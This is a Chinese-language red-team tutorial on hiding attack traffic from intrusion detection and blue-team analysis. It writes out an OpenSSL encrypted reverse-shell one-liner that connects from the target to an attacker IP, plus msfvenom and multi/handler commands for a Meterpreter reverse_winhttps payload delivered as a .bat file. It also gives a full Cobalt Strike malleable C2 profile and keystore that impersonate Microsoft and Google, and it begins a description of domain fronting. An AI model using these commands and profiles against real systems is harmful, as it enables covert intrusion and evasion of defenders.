红队攻击02——流量加密
0x00 概述
红队进行渗透测试的后续渗透阶段为了扩大战果,往往需要横行渗透,往往需要反弹 shell,如果反弹 shell 都是明文传输,那么内网里有 IDS 或者防护软件会进行流量进行分析,检测带有攻击特征,很快被发现,如果蓝队对攻击流量回溯分析,就可以复现攻击的过程。此时红队攻击就会暴漏出来,整个项目都要停止。
0x01 使用 Openssl 反弹加密 shell
kali上开启nc监听,并且开启wireshark抓包。
#nc
nc -lvvp 1234
#wireshark
#进入之前,输入下面命令抓包受害者IP
ip host <centos ip>
在centos7上进行bash反弹后,在kali执行一些命令,如下图。可以看到选择一个包,跟踪TCP流可以看到自己的命令被查看的一览无余,典型的明文传输,假设对方有防护软件,这就是个致命的打击。

在计算机网络上,OpenSSL 是一个开放源代码的软件库包,应用程序可以使用这个包来进行安全通信,避免窃听,同时确认另一端连接者的身份。这个包广泛被应用在互联网的网页服务器上。
1、在 kali(攻击机)上使用 OpenSSL 生成自签名证书
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes

2、在 kali 上监听端口
openssl s_server -quiet -key key.pem -cert cert.pem -port 8080

3、在目标上执行反弹 shell 命令并抓包,可以看到流量已经被加密
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 攻击机IP:8080 > /tmp/s; rm /tmp/s
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 192.168.10.105:8080 > /tmp/s; rm /tmp/s


0x02 MSF流量加密躲避检测
为了防止主机被入侵,现在大部分的内网环境都装有流量审计工具,专门用来分析审查流量特征,分析网络流量,如后门特征、行为特征,像 metasploit 在内网做横行渗透时,这些流量很容易就能被检测出来,所以做好流量加密,就能避免审计工具检测出来。
大致思路
1、生成证书
2、将证书加入到后门木马
3、MSF开启监听也要将证书拿来加入进去,开启一个证书模式即可
OpenSSL 创建 SSL/TLS 证书
openssl req -new -newkey rsa:4096 -days 365 -nodes -x509 \ ##创建证书,RSA:4096算法,失效365天
-subj "/C=UK/ST=London/L=London/O=Development/CN=www.google.com" \ ##添加主体一些信息
-keyout www.google.com.key \ ##输出key文件为www.google.com.key
-out www.google.com.crt && \ ##输出ca证书
cat www.google.com.key www.google.com.crt > www.google.com.pem && \ ##将key与ca证书加入到www.google.com.pem中
rm -f www.google.com.key www.google.com.crt ##将之前生成的key和ca证书删掉
openssl req -new -newkey rsa:4096 -days 365 -nodes -x509 \
-subj "/C=UK/ST=London/L=London/O=Development/CN=www.google.com" \
-keyout www.google.com.key \
-out www.google.com.crt && \
cat www.google.com.key www.google.com.crt > www.google.com.pem && \
rm -f www.google.com.key www.google.com.crt

这时候如果我访问kali的IP,前面加上https,会提示网站不安全,我选择查看证书,便可以看到刚刚我创建的https证书

MSF生成木马
根据msfvenom --list payload可以看出来具有两个payload,然后这两个payload其中有一个是winhttps

下面这条命令,生成的是bat脚本文件,这个bat脚本文件里面都是powershell的命令。注意,下面这条命令,要在刚刚生成的www.google.com.pem文件所在目录下使用
msfvenom -p windows/meterpreter/reverse_winhttps LHOST=192.168.10.105 LPORT=443 PayloadUUIDTracking=true HandlerSSLCert=www.google.com.pem StagerVerifySSLCert=true PayloadUUIDName=ParanoidStagedPSH -f psh-cmd -o exploit.bat

设置MSF监听
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_winhttps
set LHOST 192.168.0.105 #攻击机IP
set LPORT 443 #端口号必须是443!!!!!!
#########################################################
##配置侦听器时还需要使用两个附加选项。这是为了通知处理程序它将使用的##
##证书(与有效负载相同),并在接收到连接时执行 SSL 证书验证########
##可以通过show advanced来查看这两条命令######
#########################################################
set HandlerSSLCert /home/sss/Desktop/msf/www.google.com.pem #刚才生成ca证书的地方,可别写错了
set StagerVerifySSLCert true
exploit

双击刚才生成的bat文件,然后可以看到返回了session

抓包数据包已经加密
从有效负载将在目标主机上执行的那一刻起,一个加密的 MeterMeter 会话将打开,它将不允许主机入侵防御系统检查数据包并断开连接。

知道为什么内网渗透GA那边的人不允许你使用MSF和CS了么??
MSF一个shell过去,流量包直接发了50多个至少,加上返回包,100多个,动静实在是太大了。
0x03 cobalt strike 生成证书修改store文件与新建profile文件进行流量加密混淆
cobalt strike 是很多红队的首选的攻击神器,在 APT 方面近几年应用范围很广,很多著名的团队都曾使用这个工具进行 APT,效果显著。导致很多 ids 入侵检测工具和流量检测工具已经可以拦截和发现,特别是流量方面,如果使用默认证书进行渗透和测试,特别在高度安全的环境下,好不容易找到一个突破口,因为证书没修改,被流量检测出来并进行拦截,检测报告将返回给管理员,管理员就能马上将缺口进行修复。那么红队之前的攻击就会付诸东流,攻击计划就要重新制定。流量加密传输已经成为现在红队的基本素养,生成证书修改 C2 profile 加密混淆实际上就是对流量加密传输,目的逃逸流量安全审计,穿透检测器。
本次实验环境
kali cobalt strike4.0
3-0、修改CS服务端的端口号
vim teamserver
server_port=40832
#修改完毕后就可以直接访问了,实时的


3-1、生成免费的 ssl 证书
在运行 cobalt strike 默认使用的 cobaltstrike.store 证书,默认的证书 cobalt strike 会被检测。

生成新证书的意义是将使用我们新生成证书来躲避检测。下面是生成证书的一些命令。
| 项目 | 详细 |
|---|---|
| alias名称 | kstore |
| keypass | init123 |
| 算法 | RSA |
| 秘钥长度 | 2048 |
| 有效期限(天) | 30 |
| 保存路径 | /tmp/kstore.keystore |
| storepass | init1234 |
下面这段命令,十分重要,前面的sukusec和后面的sukusec.store一定要记清楚,因为修改 profile 要使用
keytool -genkey -alias sukusec -keyalg RSA -validity 36500 -keystore sukusec.store
敲了上述命令后,会让你填写相关的地区信息 这些信息填写后在 profile 上还要使用 请勿乱填,填写了要保存。
完成上面得命令后提示你要输入得密码!输入密码 sukusec123 后提示地区信息 按照提示一步一步填写,下图,十分严格!
其实最好是大厂的名字,别用别的。
US
MicrosoftUpdates

3-2、创建文件——C2.profile
在CS的根目录下,使用vim命令创建一个文件
vim sukusec.profile

将下面这么长的代码粘贴到sukusec.profile。注意7-19行是之前我们的设置。
set sample_name "sukusec POS Malware";
set sleeptime "5000"; # use a ~30s delay between callbacks
set jitter "10"; # throw in a 10% jitter
set useragent "Mozilla/5.0 (Windows NT 6.1; rv:24.0) Gecko/20100101
Firefox/24.0";
#设置证书
https-certificate {
set CN "US";
set O "MicrosoftUpdates";
set C "en";
set L "US";
set OU "MicrosoftUpdates";
set ST "US";
set validity "365";
}#设置
code-signer{
set keystore "sukusec.store";
set password "sukusec123";
set alias "sukusec";
}#指定 DNS beacon 不用的时候指定到 IP 地址
set dns_idle "8.8.4.4";
#每个单独 DNS 请求前强制睡眠时间
set dns_sleep "0";
#通过 DNS 上载数据时主机名的最大长度[0-255]
set maxdns "235";
http-post {
set uri "/windebug/updcheck.php /aircanada/dark.php /aero2/fly.php
/windowsxp/updcheck.php /hello/flash.php";
client {
header "Accept" "text/plain";
header "Accept-Language" "en-us";
header "Accept-Encoding" "text/plain";
header "Content-Type" "application/x-www-form-urlencoded";
id {
netbios;
parameter "id";
}
output {
base64;
prepend "&op=1&id=vxeykS&ui=Josh @
PC&wv=11&gr=backoff&bv=1.55&data=";
print;
} }
server {
output {
print;
} } }
http-get {
set uri "/updates";
client {
metadata {
netbiosu;
prepend "user=";
header "Cookie";
} }
server {
header "Content-Type" "text/plain";
output {
base64;
print;
} } }
随后进行验证刚刚生成的sukusec.profile。出现下面两张图片,说明成功。
./c2-lint sukusec.profile #c2-lint是CS默认带有的一个脚本


这时我们访问一下这个KALI的IP,我们就能够看到有SSL链接了。


随后启动CobaltStrike,使用刚才新建的sukusec.profile配置文件。这里就明白了,CS默认使用的其实是第二行的命令启动的服务端。
nohup ./teamserver 192.168.96.180 mima sukusec.profile &
nohup ./teamserver 192.168.96.180 mima cobaltstrike.profile &
生成CS木马,然后使受害机器上线。

受害机器进行抓包,可以看到已经成功进行了TLS,SSL加密。

这是没有进行加密的情况,能看出来这里是HTTP与TCP明文传输的。

0x04 域前置 cobalt strike 逃避 IDS 审计
待更新,暂时先到这里
域前置(Domain Fronting)基于 HTTPS 通用规避技术,也被称为域前端网络攻击技术。这是一种用来隐藏 Metasploit,Cobalt Strike 等团队控制服务器流量,以此来一定程度绕过检查器或防火墙检测的技术,如 Amazon ,Google,Akamai等大型厂商会提供一些域前端技术服务。
域前置技术原理
通过 CDN 节点将流量转发到真实的 C2 服务器,其中 CDN 节点 ip 通过识别请求的 Host 头进行流量转发,利用我们配置域名的高可信度,如我们可以设置一个微软的子域名,可以有效的躲避 DLP,agent 等流量监测。原理如下:


浙公网安备 33010602011771号